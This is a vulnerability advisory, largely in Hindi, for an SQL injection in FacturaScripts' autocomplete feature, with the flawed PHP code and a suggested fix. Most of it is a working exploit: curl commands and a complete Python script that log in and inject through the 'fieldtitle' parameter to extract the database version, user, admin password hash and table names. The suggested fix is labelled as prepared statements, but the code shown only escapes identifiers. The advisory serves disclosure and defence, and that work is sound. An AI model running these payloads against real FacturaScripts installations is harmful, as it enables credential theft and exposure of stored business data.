
CVE-2026-25514 - FacturaScripts has SQL Injection in Autocomplete Actions
| फ़ील्ड | विवरण |
|---|---|
| CVE आईडी | CVE-2026-25514 |
| गंभीरता | उच्च |
| सलाहकार | सलाहकार देखें |
| द्वारा खोजा गया | Lukasz Rybak |
FacturaScripts में ऑटोकम्पलीट कार्यक्षमता में एक गंभीर SQL इंजेक्शन भेद्यता है जो प्रमाणित हमलावरों को डेटाबेस से संवेदनशील डेटा निकालने की अनुमति देती है, जिसमें उपयोगकर्ता क्रेडेंशियल, कॉन्फ़िगरेशन सेटिंग्स और सभी संग्रहीत व्यावसायिक डेटा शामिल हैं। यह भेद्यता CodeModel::all() विधि में मौजूद है, जहाँ उपयोगकर्ता द्वारा प्रदान किए गए पैरामीटर बिना सैनिटाइजेशन या पैरामीटराइज्ड बाइंडिंग के सीधे SQL क्वेरीज़ में संयोजित किए जाते हैं।
FacturaScripts में कई कंट्रोलर, जिनमें CopyModel, ListController, और PanelController शामिल हैं, एक ऑटोकम्पलीट क्रिया लागू करते हैं जो उपयोगकर्ता इनपुट को CodeModel::search() या CodeModel::all() विधियों के माध्यम से संसाधित करती है। ये विधियाँ बिना किसी सत्यापन या एस्केपिंग के उपयोगकर्ता-नियंत्रित पैरामीटर को सीधे SQL क्वेरीज़ में संयोजित करके SQL क्वेरी बनाती हैं।
फ़ाइल: /Core/Model/CodeModel.php
विधि: all()
पंक्तियाँ: 108-109
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ......
// कमजोर कोड:
$sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
. 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
निम्नलिखित पैरामीटर SQL इंजेक्शन के लिए कमजोर हैं:
source → $tableName पर मैप होता है - तालिका नाम इंजेक्शनfieldcode → $fieldCode पर मैप होता है - कॉलम नाम इंजेक्शनfieldtitle → $fieldDescription पर मैप होता है - कॉलम नाम इंजेक्शन (प्राथमिक हमला वेक्टर)action=autocomplete के साथ /CopyModel पर POST अनुरोध भेजता हैfieldtitle पैरामीटर के माध्यम से दुर्भावनापूर्ण SQL फ़ंक्शन/क्वेरी इंजेक्ट की जाती हैंचूंकि FacturaScripts MultiRequestProtection का उपयोग करता है, इसलिए प्रत्येक POST अनुरोध के लिए एक वैध multireqtoken आवश्यक है।
1. प्रारंभिक टोकन और सत्र कुकी प्राप्त करें:
FacturaScripts / को /login पर रीडायरेक्ट करता है, इसलिए हम रीडायरेक्ट का अनुसरण करने के लिए -L और सत्र कुकी को सहेजने के लिए -c का उपयोग करते हैं।
TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN
2. प्रमाणित करें (लॉगिन): सहेजी गई कुकी और टोकन का उपयोग करके लॉगिन करें।
curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
-d "fsNick=admin" \
-d "fsPassword=admin" \
-d "action=login" \
-d "multireqtoken=$TOKEN"
3. डेटाबेस संस्करण निकालें: अगले अनुरोध के लिए एक ताज़ा टोकन प्राप्त करें और इंजेक्शन निष्पादित करें।
# नया टोकन प्राप्त करें
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# SQLi निष्पादित करें
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=version()" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
4. डेटाबेस उपयोगकर्ता और नाम निकालें:
# नया टोकन प्राप्त करें
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# SQLi निष्पादित करें
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=concat(user(),' @ ',database())" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
5. व्यवस्थापक पासवर्ड हैश निकालें:
# नया टोकन प्राप्त करें
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')
# SQLi निष्पादित करें
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
-d "action=autocomplete" \
-d "source=users" \
-d "fieldcode=nick" \
-d "fieldtitle=password" \
-d "term=admin" \
-d "multireqtoken=$TOKEN"
#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""
import requests
import re
import json
# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"
session = requests.Session()
def get_csrf_token(url):
"""Extract CSRF token from page"""
response = session.get(url)
match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
return match.group(1) if match else None
def login():
"""Authenticate to FacturaScripts"""
print(f"[*] Logging in as {USERNAME}...")
token = get_csrf_token(f"{BASE_URL}/login")
if not token:
print("[!] Failed to get CSRF token")
exit()
data = {
"multireqtoken": token,
"action": "login",
"fsNick": USERNAME,
"fsPassword": PASSWORD
}
response = session.post(f"{BASE_URL}/login", data=data)
if "Dashboard" not in response.text:
print("[!] Login failed!")
exit()
print("[+] Successfully logged in.")
def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
"""Execute SQL injection through autocomplete"""
data = {
"action": "autocomplete",
"source": source,
"fieldcode": field_code,
"fieldtitle": field_payload,
"term": term
}
response = session.post(f"{BASE_URL}/CopyModel", data=data)
try:
return response.json()
except:
return None
def main():
login()
print("\n" + "="*60)
print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
print("="*60 + "\n")
# 1. Database version
print("[*] Extracting database version...")
res = exploit_sqli("version()")
if res:
print(f"[+] Database Version: {res[0]['value']}")
# 2. Current user and database
print("[*] Extracting DB user and database name...")
res = exploit_sqli("concat(user(),' @ ',database())")
if res:
print(f"[+] DB User @ Database: {res[0]['value']}")
# 3. Admin password hash
print("[*] Extracting admin password hash...")
res = exploit_sqli("password", term="admin")
if res:
print(f"[+] Admin Password Hash: {res[0]['value']}")
# 4. All table names
print("[*] Extracting table names...")
res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
if res:
print(f"[+] Tables: {res[0]['value']}")
print("\n[+] Exploitation complete!")
if __name__ == "__main__":
main()
इस SQL इंजेक्शन भेद्यता का गंभीर प्रभाव है:
विकल्प 1: तैयार कथनों का उपयोग करें
// फ़ाइल: Core/Model/CodeModel.php
// विधि: all()
public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
// ... सत्यापन कोड ...
// पहचानकर्ताओं को मान्य और एस्केप करें
$safeTableName = self::db()->escapeColumn($tableName);
$safeFieldCode = self::db()->escapeColumn($fieldCode);
$safeFieldDescription = self::db()->escapeColumn($fieldDescription);
// पैरामीटराइज़्ड क्वेरी का उपयोग करें
$sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
. 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
$result[] = new static($row);
}
return $result;
}
द्वारा खोजा गया: Łukasz Rybak
इस CVE को समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहाँ प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।